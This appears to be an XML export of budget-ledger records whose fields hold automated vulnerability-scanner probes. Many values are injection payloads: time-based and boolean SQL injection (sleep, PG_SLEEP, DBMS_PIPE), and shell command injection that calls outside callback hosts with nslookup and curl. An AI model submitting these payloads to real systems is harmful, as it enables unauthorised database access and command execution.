<row _id="1"><ledger_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1yhUA3TX4' OR 607=(SELECT 607 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&lt;!--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>17TCTS3VG0</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 or 'tYqWD0wE'='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>15HPDTB3H0</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1BANCPFDEO0</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1TIRR2CTS0</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>|(nslookup -q=cname hitiyjcrviwzi53d72.bxss.me||curl hitiyjcrviwzi53d72.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;(nslookup -q=cname hitpjabfbtflv0ad12.bxss.me||curl hitpjabfbtflv0ad12.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitpjabfbtflv0ad12.bxss.me||curl hitpjabfbtflv0ad12.bxss.me)&amp;`'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.gethostbyname(lc('hitrk'.'xztbppcpe4d45.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(80).chr(116).chr(86).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>$(nslookup -q=cname hitbxugwfxcpn476b9.bxss.me||curl hitbxugwfxcpn476b9.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>|echo yqgflx$()\ eplhii\nz^xyu||a #' |echo yqgflx$()\ eplhii\nz^xyu||a #|" |echo yqgflx$()\ eplhii\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'||sleep(27*1000)*qnsehj||'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'&amp;&amp;sleep(27*1000)*oxuizm&amp;&amp;'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=25 or "E3sGw3vE"="</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=26 or 'lwRHry0Z'='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 or 'lwRHry0Z'='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUn95wPdi0</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'"()</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
